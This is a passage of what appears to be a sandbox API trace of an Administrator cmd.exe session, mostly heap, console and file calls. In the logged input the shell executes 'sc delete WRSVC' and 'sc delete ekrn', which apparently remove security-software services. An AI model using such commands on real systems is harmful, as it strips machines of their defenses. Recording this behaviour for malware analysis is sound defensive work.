GetProcessHeap () returned 0x4a0000 [0072.336] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0072.336] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0072.336] NtQueryInformationProcess (in: ProcessHandle=0x54, ProcessInformationClass=0x0, ProcessInformation=0x2ce5c8, ProcessInformationLength=0x30, ReturnLength=0x0 | out: ProcessInformation=0x2ce5c8, ReturnLength=0x0) returned 0x0 [0072.336] ReadProcessMemory (in: hProcess=0x54, lpBaseAddress=0x7fffffdb000, lpBuffer=0x2ce600, nSize=0x380, lpNumberOfBytesRead=0x2ce5c0 | out: lpBuffer=0x2ce600*, lpNumberOfBytesRead=0x2ce5c0*=0x380) returned 1 [0072.336] WaitForSingleObject (hHandle=0x54, dwMilliseconds=0xffffffff) returned 0x0 [0072.380] GetExitCodeProcess (in: hProcess=0x54, lpExitCode=0x2cec08 | out: lpExitCode=0x2cec08*=0x424) returned 1 [0072.380] CloseHandle (hObject=0x54) returned 1 [0072.380] _vsnwprintf (in: _Buffer=0x2cee78, _BufferCount=0x13, _Format="%08X", _ArgList=0x2cec18 | out: _Buffer="00000424") returned 8 [0072.381] SetEnvironmentVariableW (lpName="=ExitCode", lpValue="00000424") returned 1 [0072.381] GetProcessHeap () returned 0x4a0000 [0072.381] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0072.381] GetEnvironmentStringsW () returned 0x4c1b10* [0072.381] GetProcessHeap () returned 0x4a0000 [0072.381] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0072.381] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0072.381] SetEnvironmentVariableW (lpName="=ExitCodeAscii", lpValue=0x0) returned 1 [0072.381] GetProcessHeap () returned 0x4a0000 [0072.381] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba90 | out: hHeap=0x4a0000) returned 1 [0072.381] GetEnvironmentStringsW () returned 0x4c1b10* [0072.381] GetProcessHeap () returned 0x4a0000 [0072.381] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0e) returned 0x4bba90 [0072.381] FreeEnvironmentStringsW (penv=0x4c1b10) returned 1 [0072.381] GetProcessHeap () returned 0x4a0000 [0072.381] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89d0 | out: hHeap=0x4a0000) returned 1 [0072.381] DeleteProcThreadAttributeList (in: lpAttributeList=0x2cecd8 | out: lpAttributeList=0x2cecd8) [0072.381] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 1 [0072.382] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.382] SetConsoleMode (hConsoleHandle=0x120, dwMode=0x0) returned 0 [0072.382] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.382] GetConsoleMode (in: hConsoleHandle=0x120, lpMode=0x4a06e194 | out: lpMode=0x4a06e194) returned 0 [0072.382] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.382] GetConsoleMode (in: hConsoleHandle=0xb8, lpMode=0x4a06e198 | out: lpMode=0x4a06e198) returned 0 [0072.382] GetConsoleOutputCP () returned 0x1b5 [0072.382] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0072.382] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.383] GetProcessHeap () returned 0x4a0000 [0072.383] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9b30 | out: hHeap=0x4a0000) returned 1 [0072.383] GetProcessHeap () returned 0x4a0000 [0072.383] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4a1ab0 | out: hHeap=0x4a0000) returned 1 [0072.383] GetProcessHeap () returned 0x4a0000 [0072.383] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b5b70 | out: hHeap=0x4a0000) returned 1 [0072.383] GetProcessHeap () returned 0x4a0000 [0072.383] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4bba10 | out: hHeap=0x4a0000) returned 1 [0072.383] GetProcessHeap () returned 0x4a0000 [0072.383] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6550 | out: hHeap=0x4a0000) returned 1 [0072.383] GetProcessHeap () returned 0x4a0000 [0072.383] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9910 | out: hHeap=0x4a0000) returned 1 [0072.383] GetProcessHeap () returned 0x4a0000 [0072.383] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b6510 | out: hHeap=0x4a0000) returned 1 [0072.383] GetProcessHeap () returned 0x4a0000 [0072.383] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b89b0 | out: hHeap=0x4a0000) returned 1 [0072.383] GetProcessHeap () returned 0x4a0000 [0072.383] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c4660 | out: hHeap=0x4a0000) returned 1 [0072.383] _vsnwprintf (in: _Buffer=0x4a086340, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0x2cf138 | out: _Buffer="\r\n") returned 2 [0072.383] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.383] GetFileType (hFile=0x120) returned 0x3 [0072.383] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.383] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0072.383] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0x2cf108, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf108*=0x2, lpOverlapped=0x0) returned 1 [0072.383] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0072.383] GetCurrentDirectoryW (in: nBufferLength=0x104, lpBuffer=0x4a07c0a0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 0x25 [0072.383] _vsnwprintf (in: _Buffer=0x4a06eb60, _BufferCount=0x3fe, _Format="%s", _ArgList=0x2cf148 | out: _Buffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop") returned 37 [0072.383] _vsnwprintf (in: _Buffer=0x4a06ebaa, _BufferCount=0x3d9, _Format="%c", _ArgList=0x2cf148 | out: _Buffer=">") returned 1 [0072.383] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.383] GetFileType (hFile=0x120) returned 0x3 [0072.383] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.383] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop>", lpUsedDefaultChar=0x0) returned 39 [0072.384] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x2cf138, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf138*=0x26, lpOverlapped=0x0) returned 1 [0072.384] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.384] GetFileType (hFile=0xb8) returned 0x3 [0072.384] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.384] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.384] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.384] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e320, cchWideChar=1 | out: lpWideCharStr="sc delete WRSVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.384] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.384] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.384] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.384] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e322, cchWideChar=1 | out: lpWideCharStr="c delete WRSVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.384] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.384] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.384] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.384] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e324, cchWideChar=1 | out: lpWideCharStr=" delete WRSVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.384] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.384] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.384] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.384] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e326, cchWideChar=1 | out: lpWideCharStr="delete WRSVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.384] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.384] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.384] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.384] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e328, cchWideChar=1 | out: lpWideCharStr="elete WRSVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.384] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.384] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.385] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.385] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32a, cchWideChar=1 | out: lpWideCharStr="lete WRSVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.385] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.385] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.385] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.385] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32c, cchWideChar=1 | out: lpWideCharStr="ete WRSVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.385] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.385] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.385] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.385] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e32e, cchWideChar=1 | out: lpWideCharStr="te WRSVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.385] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.385] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.385] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.385] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e330, cchWideChar=1 | out: lpWideCharStr="e WRSVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.385] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.385] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.385] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.385] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e332, cchWideChar=1 | out: lpWideCharStr=" WRSVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.385] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.385] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.385] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.385] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e334, cchWideChar=1 | out: lpWideCharStr="eRSVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.385] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.385] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.385] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.385] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e336, cchWideChar=1 | out: lpWideCharStr="kSVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.385] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.386] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.386] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.386] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e338, cchWideChar=1 | out: lpWideCharStr="rVC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.386] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.386] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.386] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.386] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33a, cchWideChar=1 | out: lpWideCharStr="nC\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.386] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.386] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.386] ReadFile (in: hFile=0xb8, lpBuffer=0x4a07c320, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0x2cf438, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesRead=0x2cf438*=0x1, lpOverlapped=0x0) returned 1 [0072.386] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x4a07c320, cbMultiByte=1, lpWideCharStr=0x4a07e33c, cchWideChar=1 | out: lpWideCharStr="\n\nresql-x64-9.4\"\n\nA\"\n") returned 1 [0072.386] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.386] GetFileType (hFile=0xb8) returned 0x3 [0072.386] _get_osfhandle (_FileHandle=0) returned 0xb8 [0072.386] SetFilePointer (in: hFile=0xb8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0072.386] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.386] GetFileType (hFile=0x120) returned 0x3 [0072.386] _get_osfhandle (_FileHandle=1) returned 0x120 [0072.386] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="sc delete ekrn\n", cchWideChar=-1, lpMultiByteStr=0x4a07c320, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="sc delete ekrn\n", lpUsedDefaultChar=0x0) returned 16 [0072.386] WriteFile (in: hFile=0x120, lpBuffer=0x4a07c320*, nNumberOfBytesToWrite=0xf, lpNumberOfBytesWritten=0x2cf418, lpOverlapped=0x0 | out: lpBuffer=0x4a07c320*, lpNumberOfBytesWritten=0x2cf418*=0xf, lpOverlapped=0x0) returned 1 [0072.386] GetProcessHeap () returned 0x4a0000 [0072.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x4012) returned 0x4c8630 [0072.386] GetProcessHeap () returned 0x4a0000 [0072.386] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4c8630 | out: hHeap=0x4a0000) returned 1 [0072.386] GetProcessHeap () returned 0x4a0000 [0072.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xb0) returned 0x4c4660 [0072.386] GetProcessHeap () returned 0x4a0000 [0072.386] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x16) returned 0x4b89b0 [0072.387] GetProcessHeap () returned 0x4a0000 [0072.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x2a) returned 0x4b6510 [0072.387] GetConsoleOutputCP () returned 0x1b5 [0072.387] GetCPInfo (in: CodePage=0x1b5, lpCPInfo=0x4a07bfe0 | out: lpCPInfo=0x4a07bfe0) returned 1 [0072.387] SetThreadUILanguage (LangId=0x0) returned 0x7fffffd0409 [0072.387] GetConsoleTitleW (in: lpConsoleTitle=0x2cf3d0, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.387] GetProcessHeap () returned 0x4a0000 [0072.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x218) returned 0x4b9910 [0072.387] GetProcessHeap () returned 0x4a0000 [0072.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x30) returned 0x4b6550 [0072.387] GetProcessHeap () returned 0x4a0000 [0072.387] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x420) returned 0x4bc5b0 [0072.387] SetErrorMode (uMode=0x0) returned 0x1 [0072.387] SetErrorMode (uMode=0x1) returned 0x0 [0072.387] GetFullPathNameW (in: lpFileName=".", nBufferLength=0x208, lpBuffer=0x4bc5c0, lpFilePart=0x2cec60 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop", lpFilePart=0x2cec60*="Desktop") returned 0x25 [0072.387] SetErrorMode (uMode=0x1) returned 0x1 [0072.387] GetProcessHeap () returned 0x4a0000 [0072.388] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4bc5b0, Size=0x62) returned 0x4bc5b0 [0072.388] GetProcessHeap () returned 0x4a0000 [0072.388] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4bc5b0) returned 0x62 [0072.388] GetEnvironmentVariableW (in: lpName="PATH", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer="C:\\Windows\\system32;C:\\Windows;C:\\Windows\\System32\\Wbem;C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\") returned 0x63 [0072.388] NeedCurrentDirectoryForExePathW (ExeName=".") returned 1 [0072.388] GetProcessHeap () returned 0x4a0000 [0072.388] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x128) returned 0x4b5b70 [0072.388] GetProcessHeap () returned 0x4a0000 [0072.388] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x240) returned 0x4a1ab0 [0072.388] GetProcessHeap () returned 0x4a0000 [0072.388] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4a1ab0, Size=0x12a) returned 0x4a1ab0 [0072.388] GetProcessHeap () returned 0x4a0000 [0072.388] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4a1ab0) returned 0x12a [0072.388] GetEnvironmentVariableW (in: lpName="PATHEXT", lpBuffer=0x4a06f360, nSize=0x2000 | out: lpBuffer=".COM;.EXE;.BAT;.CMD;.VBS;.VBE;.JS;.JSE;.WSF;.WSH;.MSC") returned 0x35 [0072.388] GetProcessHeap () returned 0x4a0000 [0072.388] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0xe8) returned 0x4b9b30 [0072.388] GetProcessHeap () returned 0x4a0000 [0072.388] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9b30, Size=0x7e) returned 0x4b9b30 [0072.388] GetProcessHeap () returned 0x4a0000 [0072.388] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9b30) returned 0x7e [0072.388] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.388] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.388] GetLastError () returned 0x2 [0072.388] FindFirstFileExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\sc", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.389] GetLastError () returned 0x2 [0072.389] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0072.389] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.*", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0072.389] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0072.389] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.COM", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0xffffffffffffffff [0072.389] GetLastError () returned 0x2 [0072.389] FindFirstFileExW (in: lpFileName="C:\\Windows\\system32\\sc.EXE", fInfoLevelId=0x1, lpFindFileData=0x2ce9d0, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x2ce9d0) returned 0x4b9bc0 [0072.389] FindClose (in: hFindFile=0x4b9bc0 | out: hFindFile=0x4b9bc0) returned 1 [0072.389] _wcsicmp (_String1=".EXE", _String2=".BAT") returned 3 [0072.389] _wcsicmp (_String1=".EXE", _String2=".CMD") returned 2 [0072.389] GetConsoleTitleW (in: lpConsoleTitle=0x2cef20, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.389] GetProcessHeap () returned 0x4a0000 [0072.389] RtlAllocateHeap (HeapHandle=0x4a0000, Flags=0x8, Size=0x21c) returned 0x4b9180 [0072.389] GetConsoleTitleW (in: lpConsoleTitle=0x4b9190, nSize=0x104 | out: lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe") returned 0x2a [0072.390] GetProcessHeap () returned 0x4a0000 [0072.390] RtlReAllocateHeap (Heap=0x4a0000, Flags=0x0, Ptr=0x4b9180, Size=0x96) returned 0x4b9180 [0072.390] GetProcessHeap () returned 0x4a0000 [0072.390] RtlSizeHeap (HeapHandle=0x4a0000, Flags=0x0, MemoryPointer=0x4b9180) returned 0x96 [0072.390] SetConsoleTitleW (lpConsoleTitle="Administrator: C:\\Windows\\system32\\cmd.exe - sc delete ekrn") returned 1 [0072.390] GetProcessHeap () returned 0x4a0000 [0072.390] HeapFree (in: hHeap=0x4a0000, dwFlags=0x0, lpMem=0x4b9180 | out: hHeap=0x4a0000) returned 1 [0072.390] InitializeProcThreadAttributeList (in: lpAttributeList=0x2cecd8, dwAttributeCount=0x1, dwFlags=0x0, lpSize=0x2cec98 | out: lpAttributeList=0x2cecd8, lpSize=0x2cec98) returned 1 [0072.390] UpdateProcThreadAttribute (in: lpAttributeList=0x2cecd8, dwFlags=0x0, Attribute=0x60001, lpValue=0x2cec88, cbSize=0x4, lpPreviousValue=0x0, lpReturnSize=0x0 | out: lpAttributeList=0x2cecd8, lpPreviousValue=0x0) returned 1 [0072.390] GetStartupInfoW (in: lpStartupInfo=0x2cedf0 | out: 